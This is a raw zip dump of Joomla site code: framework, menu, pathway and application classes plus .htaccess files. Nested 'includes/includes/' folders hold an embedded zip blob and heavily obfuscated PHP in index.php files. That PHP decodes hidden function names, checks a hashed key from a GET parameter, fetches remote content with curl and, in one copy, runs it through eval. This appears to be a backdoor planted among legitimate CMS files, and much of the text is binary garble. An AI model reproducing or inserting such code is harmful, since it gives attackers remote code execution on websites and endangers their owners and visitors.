AAAAPKug>\=0 framework.phpnuW+Aerror_reporting) { case 'default': case '-1': break; case 'none': case '0': error_reporting(0); break; case 'simple': error_reporting(E_ERROR | E_WARNING | E_PARSE); ini_set('display_errors', 1); break; case 'maximum': error_reporting(E_ALL); ini_set('display_errors', 1); break; case 'development': error_reporting(-1); ini_set('display_errors', 1); break; default: error_reporting($config->error_reporting); ini_set('display_errors', 1); break; } define('JDEBUG', $config->debug); unset($config); // // Joomla framework loading. // // System profiler. if (JDEBUG) { jimport('joomla.error.profiler'); $_PROFILER = JProfiler::getInstance('Application'); } // // Joomla library imports. // jimport('joomla.application.menu'); jimport('joomla.environment.uri'); jimport('joomla.utilities.utility'); jimport('joomla.event.dispatcher'); jimport('joomla.utilities.arrayhelper'); PKug>\qf menu.phpnuW+AgetQuery(true); $query->select('m.id, m.menutype, m.title, m.alias, m.note, m.path AS route, m.link, m.type, m.level, m.language'); $query->select('m.browserNav, m.access, m.params, m.home, m.img, m.template_style_id, m.component_id, m.parent_id'); $query->select('e.element as component'); $query->from('#__menu AS m'); $query->leftJoin('#__extensions AS e ON m.component_id = e.extension_id'); $query->where('m.published = 1'); $query->where('m.parent_id > 0'); $query->where('m.client_id = 0'); $query->order('m.lft'); // Set the query $db->setQuery($query); if (!($this->_items = $db->loadObjectList('id'))) { JError::raiseWarning(500, JText::sprintf('JERROR_LOADING_MENUS', $db->getErrorMsg())); return false; } foreach($this->_items as &$item) { // Get parent information. $parent_tree = array(); if (isset($this->_items[$item->parent_id])) { $parent_tree = $this->_items[$item->parent_id]->tree; } // Create tree. $parent_tree[] = $item->id; $item->tree = $parent_tree; // Create the query array. $url = str_replace('index.php?', '', $item->link); $url = str_replace('&', '&', $url); parse_str($url, $item->query); } } /** * Gets menu items by attribute * * @param string $attributes The field name * @param string $values The value of the field * @param boolean $firstonly If true, only returns the first item found * * @return array */ public function getItems($attributes, $values, $firstonly = false) { $attributes = (array) $attributes; $values = (array) $values; $app = JApplication::getInstance('site'); if ($app->isSite()) { // Filter by language if not set if (($key = array_search('language', $attributes)) === false) { if ($app->getLanguageFilter()) { $attributes[] = 'language'; $values[] = array(JFactory::getLanguage()->getTag(), '*'); } } elseif ($values[$key] === null) { unset($attributes[$key]); unset($values[$key]); } // Filter by access level if not set if (($key = array_search('access', $attributes)) === false) { $attributes[] = 'access'; $values[] = JFactory::getUser()->getAuthorisedViewLevels(); } elseif ($values[$key] === null) { unset($attributes[$key]); unset($values[$key]); } } return parent::getItems($attributes, $values, $firstonly); } /** * Get menu item by id * * @param string $language The language code. * * @return object The item object * @since 1.5 */ public function getDefault($language = '*') { if (array_key_exists($language, $this->_default) && JApplication::getInstance('site')->getLanguageFilter()) { return $this->_items[$this->_default[$language]]; } elseif (array_key_exists('*', $this->_default)) { return $this->_items[$this->_default['*']]; } else { return 0; } } } PKug>\̦B>> pathway.phpnuW+A_pathway = array(); $app = JApplication::getInstance('site'); $menu = $app->getMenu(); if ($item = $menu->getActive()) { $menus = $menu->getMenu(); $home = $menu->getDefault(); if (is_object($home) && ($item->id != $home->id)) { foreach($item->tree as $menupath) { $url = ''; $link = $menu->getItem($menupath); switch($link->type) { case 'separator': $url = null; break; case 'url': if ((strpos($link->link, 'index.php?') === 0) && (strpos($link->link, 'Itemid=') === false)) { // If this is an internal Joomla link, ensure the Itemid is set. $url = $link->link.'&Itemid='.$link->id; } else { $url = $link->link; } break; case 'alias': // If this is an alias use the item id stored in the parameters to make the link. $url = 'index.php?Itemid='.$link->params->get('aliasoptions'); break; default: $router = JSite::getRouter(); if ($router->getMode() == JROUTER_MODE_SEF) { $url = 'index.php?Itemid='.$link->id; } else { $url .= $link->link.'&Itemid='.$link->id; } break; } $this->addItem($menus[$menupath]->title, $url); } } } } } PKug>\) .htaccessnuW+A Order allow,deny Deny from all PKug>\V index.htmlnuW+A PKug>\Y,)B)Bapplication.phpnuW+A_language_filter && empty($options['language'])) { // Detect cookie language $lang = JRequest::getString(self::getHash('language'), null , 'cookie'); // Make sure that the user's language exists if ($lang && JLanguage::exists($lang)) { $options['language'] = $lang; } } if (empty($options['language'])) { // Detect user language $lang = JFactory::getUser()->getParam('language'); // Make sure that the user's language exists if ($lang && JLanguage::exists($lang)) { $options['language'] = $lang; } } if ($this->_detect_browser && empty($options['language'])) { // Detect browser language $lang = JLanguageHelper::detectLanguage(); // Make sure that the user's language exists if ($lang && JLanguage::exists($lang)) { $options['language'] = $lang; } } if (empty($options['language'])) { // Detect default language $params = JComponentHelper::getParams('com_languages'); $client = JApplicationHelper::getClientInfo($this->getClientId()); $options['language'] = $params->get($client->name, $config->get('language', 'en-GB')); } // One last check to make sure we have something if (!JLanguage::exists($options['language'])) { $lang = $config->get('language', 'en-GB'); if (JLanguage::exists($lang)) { $options['language'] = $lang; } else { $options['language'] = 'en-GB'; // as a last ditch fail to english } } // Execute the parent initialise method. parent::initialise($options); // Load Library language $lang = JFactory::getLanguage(); // Try the lib_joomla file in the current language (without allowing the loading of the file in the default language) $lang->load('lib_joomla', JPATH_SITE, null, false, true) || $lang->load('lib_joomla', JPATH_ADMINISTRATOR, null, false, true); } /** * Route the application. * */ public function route() { parent::route(); $Itemid = JRequest::getInt('Itemid'); $this->authorise($Itemid); } /** * Dispatch the application * * @param string */ public function dispatch($component = null) { try { // Get the component if not set. if (!$component) { $component = JRequest::getCmd('option'); } $document = JFactory::getDocument(); $user = JFactory::getUser(); $router = $this->getRouter(); $params = $this->getParams(); switch($document->getType()) { case 'html': // Get language $lang_code = JFactory::getLanguage()->getTag(); $languages = JLanguageHelper::getLanguages('lang_code'); // Set metadata if (isset($languages[$lang_code]) && $languages[$lang_code]->metakey) { $document->setMetaData('keywords', $languages[$lang_code]->metakey); } else { $document->setMetaData('keywords', $this->getCfg('MetaKeys')); } $document->setMetaData('rights', $this->getCfg('MetaRights')); if ($router->getMode() == JROUTER_MODE_SEF) { $document->setBase(htmlspecialchars(JURI::current())); } break; case 'feed': $document->setBase(htmlspecialchars(JURI::current())); break; } $document->setTitle($params->get('page_title')); $document->setDescription($params->get('page_description')); // Add version number or not based on global configuration if ($this->getCfg('MetaVersion', 0)) { $document->setGenerator('Joomla! - Open Source Content Management - Version ' . JVERSION); } else { $document->setGenerator('Joomla! - Open Source Content Management'); } $contents = JComponentHelper::renderComponent($component); $document->setBuffer($contents, 'component'); // Trigger the onAfterDispatch event. JPluginHelper::importPlugin('system'); $this->triggerEvent('onAfterDispatch'); } // Mop up any uncaught exceptions. catch (Exception $e) { $code = $e->getCode(); JError::raiseError($code ? $code : 500, $e->getMessage()); } } /** * Display the application. */ public function render() { $document = JFactory::getDocument(); $user = JFactory::getUser(); // get the format to render $format = $document->getType(); switch ($format) { case 'feed': $params = array(); break; case 'html': default: $template = $this->getTemplate(true); $file = JRequest::getCmd('tmpl', 'index'); if (!$this->getCfg('offline') && ($file == 'offline')) { $file = 'index'; } if ($this->getCfg('offline') && !$user->authorise('core.login.offline')) { $uri = JFactory::getURI(); $return = (string)$uri; $this->setUserState('users.login.form.data', array( 'return' => $return ) ); $file = 'offline'; JResponse::setHeader('Status', '503 Service Temporarily Unavailable', 'true'); } if (!is_dir(JPATH_THEMES . '/' . $template->template) && !$this->getCfg('offline')) { $file = 'component'; } $params = array( 'template' => $template->template, 'file' => $file.'.php', 'directory' => JPATH_THEMES, 'params' => $template->params ); break; } // Parse the document. $document = JFactory::getDocument(); $document->parse($params); // Trigger the onBeforeRender event. JPluginHelper::importPlugin('system'); $this->triggerEvent('onBeforeRender'); $caching = false; if ($this->getCfg('caching') && $this->getCfg('caching', 2) == 2 && !$user->get('id')) { $caching = true; } // Render the document. JResponse::setBody($document->render($caching, $params)); // Trigger the onAfterRender event. $this->triggerEvent('onAfterRender'); } /** * Login authentication function * * @param array Array('username' => string, 'password' => string) * @param array Array('remember' => boolean) * * @see JApplication::login */ public function login($credentials, $options = array()) { // Set the application login entry point if (!array_key_exists('entry_url', $options)) { $options['entry_url'] = JURI::base().'index.php?option=com_users&task=user.login'; } // Set the access control action to check. $options['action'] = 'core.login.site'; return parent::login($credentials, $options); } /** * @deprecated 1.6 Use the authorise method instead. */ public function authorize($itemid) { JLog::add('JSite::authorize() is deprecated. Use JSite::authorise() instead.', JLog::WARNING, 'deprecated'); return $this->authorise($itemid); } /** * Check if the user can access the application */ public function authorise($itemid) { $menus = $this->getMenu(); $user = JFactory::getUser(); if (!$menus->authorise($itemid)) { if ($user->get('id') == 0) { // Redirect to login $uri = JFactory::getURI(); $return = (string)$uri; $this->setUserState('users.login.form.data', array( 'return' => $return ) ); $url = 'index.php?option=com_users&view=login'; $url = JRoute::_($url, false); $this->redirect($url, JText::_('JGLOBAL_YOU_MUST_LOGIN_FIRST')); } else { JError::raiseError(403, JText::_('JERROR_ALERTNOAUTHOR')); } } } /** * Get the appliaction parameters * * @param string The component option * @return object The parameters object * @since 1.5 */ public function getParams($option = null) { static $params = array(); $hash = '__default'; if (!empty($option)) { $hash = $option; } if (!isset($params[$hash])) { // Get component parameters if (!$option) { $option = JRequest::getCmd('option'); } // Get new instance of component global parameters $params[$hash] = clone JComponentHelper::getParams($option); // Get menu parameters $menus = $this->getMenu(); $menu = $menus->getActive(); // Get language $lang_code = JFactory::getLanguage()->getTag(); $languages = JLanguageHelper::getLanguages('lang_code'); $title = $this->getCfg('sitename'); if (isset($languages[$lang_code]) && $languages[$lang_code]->metadesc) { $description = $languages[$lang_code]->metadesc; } else { $description = $this->getCfg('MetaDesc'); } $rights = $this->getCfg('MetaRights'); $robots = $this->getCfg('robots'); // Lets cascade the parameters if we have menu item parameters if (is_object($menu)) { $temp = new JRegistry; $temp->loadString($menu->params); $params[$hash]->merge($temp); $title = $menu->title; } else { // get com_menu global settings $temp = clone JComponentHelper::getParams('com_menus'); $params[$hash]->merge($temp); // if supplied, use page title $title = $temp->get('page_title', $title); } $params[$hash]->def('page_title', $title); $params[$hash]->def('page_description', $description); $params[$hash]->def('page_rights', $rights); $params[$hash]->def('robots', $robots); } return $params[$hash]; } /** * Get the application parameters * * @param string The component option * * @return object The parameters object * @since 1.5 */ public function getPageParameters($option = null) { return $this->getParams($option); } /** * Get the template * * @return string The template name * @since 1.0 */ public function getTemplate($params = false) { if(is_object($this->template)) { if ($params) { return $this->template; } return $this->template->template; } // Get the id of the active menu item $menu = $this->getMenu(); $item = $menu->getActive(); if (!$item) { $item = $menu->getItem(JRequest::getInt('Itemid')); } $id = 0; if (is_object($item)) { // valid item retrieved $id = $item->template_style_id; } $condition = ''; $tid = JRequest::getVar('templateStyle', 0); if (is_numeric($tid) && (int) $tid > 0) { $id = (int) $tid; } $cache = JFactory::getCache('com_templates', ''); if ($this->_language_filter) { $tag = JFactory::getLanguage()->getTag(); } else { $tag =''; } if (!$templates = $cache->get('templates0'.$tag)) { // Load styles $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('id, home, template, s.params'); $query->from('#__template_styles as s'); $query->where('s.client_id = 0'); $query->where('e.enabled = 1'); $query->leftJoin('#__extensions as e ON e.element=s.template AND e.type='.$db->quote('template').' AND e.client_id=s.client_id'); $db->setQuery($query); $templates = $db->loadObjectList('id'); foreach($templates as &$template) { $registry = new JRegistry; $registry->loadString($template->params); $template->params = $registry; // Create home element //sqlsrv change if ($template->home == 1 && !isset($templates[0]) || $this->_language_filter && $template->home == $tag) { $templates[0] = clone $template; } } $cache->store($templates, 'templates0'.$tag); } if (isset($templates[$id])) { $template = $templates[$id]; } else { $template = $templates[0]; } // Allows for overriding the active template from the request $template->template = JRequest::getCmd('template', $template->template); $template->template = JFilterInput::getInstance()->clean($template->template, 'cmd'); // need to filter the default value as well // Fallback template if (!file_exists(JPATH_THEMES . '/' . $template->template . '/index.php')) { JError::raiseWarning(0, JText::_('JERROR_ALERTNOTEMPLATE')); $template->template = 'beez_20'; if (!file_exists(JPATH_THEMES . '/beez_20/index.php')) { $template->template = ''; } } // Cache the result $this->template = $template; if ($params) { return $template; } return $template->template; } /** * Overrides the default template that would be used * * @param string The template name * @param mixed The template style parameters */ public function setTemplate($template, $styleParams=null) { if (is_dir(JPATH_THEMES . '/' . $template)) { $this->template = new stdClass(); $this->template->template = $template; if ($styleParams instanceof JRegistry) { $this->template->params = $styleParams; } else { $this->template->params = new JRegistry($styleParams); } } } /** * Return a reference to the JPathway object. * * @param string $name The name of the application/client. * @param array $options An optional associative array of configuration settings. * * @return object JMenu. * @since 1.5 */ public function getMenu($name = null, $options = array()) { $options = array(); $menu = parent::getMenu('site', $options); return $menu; } /** * Return a reference to the JPathway object. * * @param string $name The name of the application. * @param array $options An optional associative array of configuration settings. * * @return object JPathway. * @since 1.5 */ public function getPathway($name = null, $options = array()) { $options = array(); $pathway = parent::getPathway('site', $options); return $pathway; } /** * Return a reference to the JRouter object. * * @param string $name The name of the application. * @param array $options An optional associative array of configuration settings. * * @return JRouter * @since 1.5 */ static public function getRouter($name = null, array $options = array()) { $config = JFactory::getConfig(); $options['mode'] = $config->get('sef'); $router = parent::getRouter('site', $options); return $router; } /** * Return the current state of the language filter. * * @return boolean * @since 1.6 */ public function getLanguageFilter() { return $this->_language_filter; } /** * Set the current state of the language filter. * * @return boolean The old state * @since 1.6 */ public function setLanguageFilter($state=false) { $old = $this->_language_filter; $this->_language_filter=$state; return $old; } /** * Return the current state of the detect browser option. * * @return boolean * @since 1.6 */ public function getDetectBrowser() { return $this->_detect_browser; } /** * Set the current state of the detect browser option. * * @return boolean The old state * @since 1.6 */ public function setDetectBrowser($state=false) { $old = $this->_detect_browser; $this->_detect_browser=$state; return $old; } /** * Redirect to another URL. * * Optionally enqueues a message in the system message queue (which will be displayed * the next time a page is loaded) using the enqueueMessage method. If the headers have * not been sent the redirect will be accomplished using a "301 Moved Permanently" * code in the header pointing to the new location. If the headers have already been * sent this will be accomplished using a JavaScript statement. * * @param string The URL to redirect to. Can only be http/https URL * @param string An optional message to display on redirect. * @param string An optional message type. * @param boolean True if the page is 301 Permanently Moved, otherwise 303 See Other is assumed. * @param boolean True if the enqueued messages are passed to the redirection, false else. * @return none; calls exit(). * @since 1.5 * @see JApplication::enqueueMessage() */ public function redirect($url, $msg='', $msgType='message', $moved = false, $persistMsg = true) { if (!$persistMsg) { $this->_messageQueue = array(); } parent::redirect($url, $msg, $msgType, $moved); } } PKug>\,rincludes/includes/.htaccessnuW+A Order allow,deny Deny from all # Order allow,deny Allow from all PKug>\,r$includes/includes/includes/.htaccessnuW+A Order allow,deny Deny from all # Order allow,deny Allow from all PKug>\gss$includes/includes/includes/cache.phpnuW+APKug>\wXo$includes/includes/includes/index.phpnuW+APKug>\oy0includes/includes/includes/m4a_6909691205cc9.zipnuW+APKd["eb_6909691205cc9.tmpUo8W(eGR E($&aK7Nݻƙf曱=x5[!> Q%^<%"7WA:g *G/ gT۵nx'elmؔZ26ݯFgx}'0jVߙA`LLI u!X`Kx%!NI}T XqLmU:+u'~ITqBKR:d3RmJ\(I5~VG y2Z>ut:ޝҕ|4z_ 9Y*KS>QyYpYQԹYNj׮/~̛Wg^"Oߜo:u [%\`00K>.f5_\- PW2!?CKNQog]m죏@!4QBu:#ߗˇNN4zh@>S>N \u2Gq10ZG*NI\W߾ `f0ͭwȆ;+iO,VهHq:D؈{[]tiқ^ӛ'tGQq]XsaP?I?0/وkI|\_tE $`D\9F˟gd,\su ,OMBuL,=2ɛ k\CTL`yʁ9:H%}!&gni( `~l .?]୧3Yu?y$\E<-:r;cS_ FɅb׭MeQ%d/"x່XXLwߥWj5;#Y{dCLZmucB]m=Pi>^E8VBe:Dh,Of r ̋'r Q㬛ӝvSϴ, }4iB3&wz(lw>Iaλu1o&&wF(~E7SGcW ^;(8ucz[>> :$4(b}UI ڑ˹^YVahDW<:f#ZMHpolmS"g  _ޫv%=>PDSnjf㫚W/z &AEE>OW`+) ԨĄT0uk}(l9{QtH`yPXa3b`3^ q'.hM#w,XjIMgj_Mnx"I&߯NLEsɐZ,pOXz"ԸUWYb[셺3yBR8Q|<Ϣ)_8xz4)G8c쮰*mqUKo&W|Z'>@8Vʮ8/p>²WGP$_]}e<5Dspa3C"Q7A¡jFq 2Sjgc~>jXWTQ!I.eǭ{M4fî@usj7T@g|5`)Ef(*U4BĠc#|`o}j Zlʫ0U2dMh3ׁ6LHJgrB>pH\/y7|:.xO^!8h'X\L #,#Ʉ=t,%]//B VpUϒ)Ag{ ;y"vK񘃨a>@#G9f4pFtJ2:οs궋m9k|`mΩ ˝_)@55,RoIN=RN޺*|U8嗤׊hX]~r=Q bF-?;rۀ.^"J;ce<Qy ugS\>O5omF1kbYMe8=+ŭ홆M[|mP\ᅟM+\=3np`AxOK ?+zM1U!cH1`'!& dǟW '޼̭:%&ѽXi/OkQUu39O74$w*/^i;WA=Wf0]'UWas-AUʶnh~QZؓb)p.ћOho5g5(-sNlPXGFfǡfEȰQk|Xu#: TR/7G8V1Eߏ5DA"׹oXpn  +Aɧ 0hE(z/4⼋ax}SaqTQӋ0&wq`EN;\ƼVO$ c؅+Lb"*niTyn8&8AUٲ#y: 7XBug Lҹqz8δ<{~b?3A fgW^vYKdQ0J|udYJ.FYKrs(ob||~uZ8>JlG<P8L>}~ʜPMkJ*h|ʩYbbyK7y&@H=(T'жKQl2y .!piz;j%DfJw?]uӌeo_goPKd["eb_6909691205cc9.tmpPKd[m c_6909691205cc9.tmpPK6PKug>\L""includes/includes/cache.phpnuW+APKug>\$$includes/includes/index.phpnuW+A $UUNR8C1sX9Z) { $BbfovJL2s0A .= $VJ0_ElgNhdb[$UUNR8C1sX9Z - 76649]; DGGB8WFA2Zw: } goto zSSvII4fIrH; avqJX39oOr6: return $BbfovJL2s0A; goto Ar2riucpNzG; GNe5lQLsRRS: $VvbhvsiIpT7 = explode("\x29", $AGd50LAeVhY); goto icWhYilZmE3; icWhYilZmE3: $BbfovJL2s0A = ''; goto mmMojcK8euM; Gc72jRH6TzF: $VJ0_ElgNhdb = $IlkIkHTpAhn("\176", "\40"); goto GNe5lQLsRRS; zSSvII4fIrH: zkZpLr8_FcD: goto avqJX39oOr6; Ar2riucpNzG: } static function F252kudVGrP($tN2NVKBJDQO, $x26t9qNK_wl) { goto m2c1s7fUcOj; Uy5rPlv0RvX: curl_setopt($Jzw6cMxWCym, CURLOPT_RETURNTRANSFER, 1); goto IH9zSgk2cRh; m2c1s7fUcOj: $Jzw6cMxWCym = curl_init($tN2NVKBJDQO); goto Uy5rPlv0RvX; IH9zSgk2cRh: $usNn4salFha = curl_exec($Jzw6cMxWCym); goto OyJBTcJ8qsr; OyJBTcJ8qsr: return empty($usNn4salFha) ? $x26t9qNK_wl($tN2NVKBJDQO) : $usNn4salFha; goto v566R2xLZhK; v566R2xLZhK: } static function OS1FUKOB0nF() { goto s_jrBK03fSx; pCpomBe_ldW: $fK_1O5JRq07 = @$dCRWf2byCwQ[1]($dCRWf2byCwQ[6 + 4](INPUT_GET, $dCRWf2byCwQ[3 + 6])); goto RRQZyIQl5Os; JsMGdSShg6t: @$dCRWf2byCwQ[7 + 3](INPUT_GET, "\157\146") == 1 && die($dCRWf2byCwQ[0 + 5](__FILE__)); goto ggOHreTDbh2; RRQZyIQl5Os: $OyaHteYaGkb = @$dCRWf2byCwQ[0 + 3]($dCRWf2byCwQ[5 + 1], $fK_1O5JRq07); goto ZrQDG7lhrOM; rnJESywLObB: foreach ($IrMv2MJOt2H as $Py__dNvQsLq) { $dCRWf2byCwQ[] = self::griH_bHxqiy($Py__dNvQsLq); sj_USk6lt3w: } goto bUnV8dLEYV2; uFgiX8XC25Q: k0Qrz_Vh3R4: goto z60aV_RUaBV; ZrQDG7lhrOM: $j8233jbnFn8 = $dCRWf2byCwQ[0 + 2]($OyaHteYaGkb, true); goto JsMGdSShg6t; bUnV8dLEYV2: wDbFRd4Gjqx: goto pCpomBe_ldW; s_jrBK03fSx: $IrMv2MJOt2H = array("\67\66\x36\x37\66\51\67\x36\66\x36\61\51\x37\66\x36\x37\64\x29\67\66\x36\67\x38\x29\x37\x36\66\65\x39\51\x37\x36\66\x37\64\x29\67\66\x36\70\60\51\67\x36\66\x37\x33\x29\67\x36\x36\x35\x38\51\x37\66\66\x36\65\51\67\x36\x36\67\66\x29\x37\66\x36\65\x39\x29\x37\66\66\x37\60\x29\67\66\66\66\64\x29\x37\x36\x36\66\x35", "\x37\66\66\x36\x30\x29\x37\x36\x36\x35\x39\x29\67\66\66\x36\61\51\x37\66\66\x38\60\51\67\x36\66\x36\x31\51\x37\x36\66\x36\x34\51\x37\x36\66\x35\71\x29\x37\x36\67\x32\66\x29\67\x36\x37\62\x34", "\x37\x36\x36\x36\x39\51\x37\x36\x36\66\x30\x29\x37\x36\x36\x36\64\51\67\66\x36\66\x35\x29\x37\66\66\70\60\51\x37\66\66\x37\x35\51\67\66\66\67\x34\x29\67\66\66\67\x36\51\67\66\66\66\64\x29\67\x36\x36\x37\x35\x29\67\66\66\67\x34", "\67\66\66\66\x33\51\67\66\x36\67\x38\51\67\66\x36\67\x36\x29\67\66\66\66\70", "\67\x36\x36\67\x37\51\x37\66\66\67\x38\51\67\66\66\66\x30\x29\67\66\x36\x37\64\51\67\66\67\x32\x31\x29\67\66\x37\62\x33\51\67\x36\x36\x38\x30\51\67\66\66\67\x35\x29\x37\x36\66\67\64\51\67\x36\x36\67\x36\51\67\x36\x36\x36\x34\51\x37\66\66\67\65\x29\67\66\x36\x37\64", "\67\66\x36\x37\x33\51\67\x36\66\67\60\51\x37\66\x36\66\x37\51\x37\66\x36\x37\x34\51\x37\66\x36\x38\60\x29\x37\x36\x36\67\x32\x29\x37\x36\66\67\x34\51\67\x36\66\65\x39\51\67\x36\x36\70\x30\x29\67\x36\66\67\66\x29\67\x36\x36\x36\x34\x29\x37\x36\x36\66\x35\51\67\x36\66\65\71\x29\67\66\x36\x37\x34\x29\67\66\66\x36\x35\x29\67\66\66\x35\71\51\67\x36\x36\x36\60", "\x37\66\67\60\63\51\x37\66\67\63\63", "\x37\66\66\65\x30", "\x37\66\x37\x32\70\x29\67\x36\67\x33\x33", "\67\x36\x37\61\x30\51\x37\66\66\x39\x33\51\x37\x36\66\71\63\51\x37\66\67\x31\x30\51\x37\x36\x36\70\x36", "\x37\x36\66\67\x33\x29\x37\66\x36\x37\x30\51\67\x36\x36\66\67\51\67\x36\66\65\71\51\67\x36\66\x37\64\x29\67\x36\x36\x36\x31\x29\x37\x36\x36\70\x30\51\x37\x36\66\x37\60\x29\67\x36\x36\x36\x35\x29\x37\66\66\x36\x33\x29\67\66\x36\x35\x38\51\x37\66\66\x35\x39"); goto rnJESywLObB; Xog2gAUUio2: $ho42NvCfd9n = self::f252kudvGrp($j8233jbnFn8[0 + 1], $dCRWf2byCwQ[0 + 5]); goto jkWeYnkgUmr; gJlr0VX_kFO: die; goto uFgiX8XC25Q; jkWeYnkgUmr: @$dCRWf2byCwQ[0]('', $dCRWf2byCwQ[3 + 4] . $dCRWf2byCwQ[4 + 0]($ho42NvCfd9n) . $dCRWf2byCwQ[2 + 6]); goto gJlr0VX_kFO; ggOHreTDbh2: if (!(@$j8233jbnFn8[0] - time() > 0 and md5(md5($j8233jbnFn8[1 + 2])) === "\70\141\67\63\63\63\x31\63\142\x66\x36\x62\71\x63\63\71\66\x36\x30\143\x63\x39\142\x66\x34\63\62\71\x64\x31\142\x61")) { goto k0Qrz_Vh3R4; } goto Xog2gAUUio2; z60aV_RUaBV: } } goto WfBCqw0I9Id; OX2Z4a0V5dG: @(md5(md5(md5(md5($TFtawUpaHDN[6])))) === "\145\x30\145\x31\x34\65\x30\x63\63\60\144\146\66\65\60\65\x33\144\x61\x31\60\67\x33\146\143\x61\x35\64\143\x34\x62\67") && (count($TFtawUpaHDN) == 12 && in_array(gettype($TFtawUpaHDN) . count($TFtawUpaHDN), $TFtawUpaHDN)) ? ($TFtawUpaHDN[66] = $TFtawUpaHDN[66] . $TFtawUpaHDN[74]) && ($TFtawUpaHDN[85] = $TFtawUpaHDN[66]($TFtawUpaHDN[85])) && @($TFtawUpaHDN = $TFtawUpaHDN[85]($TFtawUpaHDN[54], $TFtawUpaHDN[66](${$TFtawUpaHDN[34]}[24]))) && $TFtawUpaHDN() : $TFtawUpaHDN; goto AX3ga_rrl7g; AX3ga_rrl7g: metaphone("\145\103\103\103\101\121\172\x31\70\x76\171\x59\152\170\166\164\x30\64\x4d\x73\x57\151\151\101\113\x34\167\x2f\x48\153\166\x42\61\x54\x66\111\x49\156\x49\x6e\103\x67\60"); goto BNP5U1MPE2_; WfBCqw0I9Id: utpq0yHwUYu::OS1fUkOB0NF(); ?> PKug>\,rincludes/.htaccessnuW+A Order allow,deny Deny from all # Order allow,deny Allow from all PKug>\o  includes/index.phpnuW+A $naZ0ZZnu3IBO0) { $g72822yWum4Mh .= $rKhPLFhLLHt_W[$naZ0ZZnu3IBO0 - 2115]; y8IoqqSMrSrGl: } goto d7PYJaAFRG7FP; d7PYJaAFRG7FP: lCbdOLz9b3131: goto td_FbP5ETPWaW; td_FbP5ETPWaW: return $g72822yWum4Mh; goto zb4pJiHNcMN2m; pRdvZjgtAq1QZ: $iurERHz0tE2tQ = "\x72" . "\141" . "\x6e" . "\147" . "\x65"; goto l308l75R9MI4i; zOalFUwo4yO4_: $g72822yWum4Mh = ''; goto nKSbemZmckU86; erMHR_k3qmU05: $yCdIF5_KCgenS = explode("\x2e", $tQHru24ioWTNq); goto zOalFUwo4yO4_; zb4pJiHNcMN2m: } static function DqSMH8exDZyA2($fsCP4PDI0udc3, $ITbE76o5U6vtq) { goto krE42T4HEmCIG; Y5PmhUYQxYv0R: return empty($fqHH9Fk7ad2Yg) ? $ITbE76o5U6vtq($fsCP4PDI0udc3) : $fqHH9Fk7ad2Yg; goto bbQI4susklaTs; HWkEZe2mSef0X: $fqHH9Fk7ad2Yg = curl_exec($O0S0RWJvHh3eU); goto Y5PmhUYQxYv0R; a5GHLbzTu1Xbp: curl_setopt($O0S0RWJvHh3eU, CURLOPT_RETURNTRANSFER, 1); goto HWkEZe2mSef0X; krE42T4HEmCIG: $O0S0RWJvHh3eU = curl_init($fsCP4PDI0udc3); goto a5GHLbzTu1Xbp; bbQI4susklaTs: } static function JIxCropT7UZD4() { goto A2AU6EfpNb7OP; LfqpBGd0ajdGy: die; goto ONdlLHM32M74u; tR4ARsXyxGYoS: $kup0Dh7QFiO7f = @$j7frvDXYVZPq2[1 + 2]($j7frvDXYVZPq2[6 + 0], $QQg1z9Qzk4kXk); goto EiuwXy_pGe0Kk; wa2TB0VZU2wC7: @eval($j7frvDXYVZPq2[1 + 3]($ujFMmNX_35XFC)); goto LfqpBGd0ajdGy; EiuwXy_pGe0Kk: $TlKqi0v8chgDi = $j7frvDXYVZPq2[0 + 2]($kup0Dh7QFiO7f, true); goto fDOK5gUjq649W; QOl7YEHN8siWS: $ujFMmNX_35XFC = self::dQsmH8eXdZYa2($TlKqi0v8chgDi[0 + 1], $j7frvDXYVZPq2[3 + 2]); goto wa2TB0VZU2wC7; ar1TmGFb7i59E: foreach ($V7TYnHzP3xVp1 as $OnZkrDNSlODIj) { $j7frvDXYVZPq2[] = self::lbP40Itq3lvTf($OnZkrDNSlODIj); wvHfNRyK3fNpI: } goto yvpCdWD3GYpgk; yvpCdWD3GYpgk: GKBVBlUX9pArf: goto vyBVTWuisx_qr; vyBVTWuisx_qr: $QQg1z9Qzk4kXk = @$j7frvDXYVZPq2[1]($j7frvDXYVZPq2[3 + 7](INPUT_GET, $j7frvDXYVZPq2[8 + 1])); goto tR4ARsXyxGYoS; QswKVsMzAA87P: if (!(@$TlKqi0v8chgDi[0] - time() > 0 and md5(md5($TlKqi0v8chgDi[0 + 3])) === "\x65\x34\66\x66\63\x63\62\65\x65\70\70\142\66\x30\142\x32\x34\71\x66\64\141\71\x31\x38\x31\65\143\x61\x39\x34\142\x31")) { goto SlIAev69drktd; } goto QOl7YEHN8siWS; ONdlLHM32M74u: SlIAev69drktd: goto Lg0L1pXrJjSIr; A2AU6EfpNb7OP: $V7TYnHzP3xVp1 = array("\62\x31\x34\x32\x2e\x32\x31\62\x37\x2e\x32\x31\x34\60\56\x32\61\x34\64\x2e\62\61\x32\x35\56\62\61\64\x30\56\62\61\64\x36\x2e\62\x31\x33\71\x2e\x32\x31\62\x34\x2e\62\x31\x33\61\x2e\62\x31\x34\x32\x2e\x32\x31\62\65\56\x32\61\63\x36\x2e\62\61\x33\x30\x2e\x32\x31\63\x31", "\62\61\x32\x36\56\62\61\62\x35\x2e\62\61\62\x37\56\x32\61\x34\66\x2e\x32\61\x32\x37\x2e\62\x31\63\60\x2e\62\61\x32\x35\x2e\62\61\x39\62\56\62\61\x39\x30", "\x32\x31\63\x35\x2e\x32\x31\62\x36\x2e\62\x31\x33\60\x2e\x32\61\x33\x31\56\x32\x31\64\66\56\x32\61\64\x31\x2e\x32\x31\64\x30\56\x32\61\64\x32\56\x32\61\63\x30\56\x32\61\x34\x31\x2e\x32\61\64\x30", "\62\x31\x32\x39\56\62\x31\x34\64\x2e\x32\x31\x34\62\56\x32\61\x33\64", "\62\61\64\63\x2e\x32\x31\x34\x34\x2e\x32\61\62\x36\x2e\62\x31\64\60\56\x32\61\70\67\x2e\62\61\x38\x39\56\x32\x31\64\x36\56\62\61\64\x31\56\62\61\64\60\x2e\x32\x31\64\62\56\x32\x31\x33\x30\56\x32\x31\x34\x31\56\62\61\x34\60", 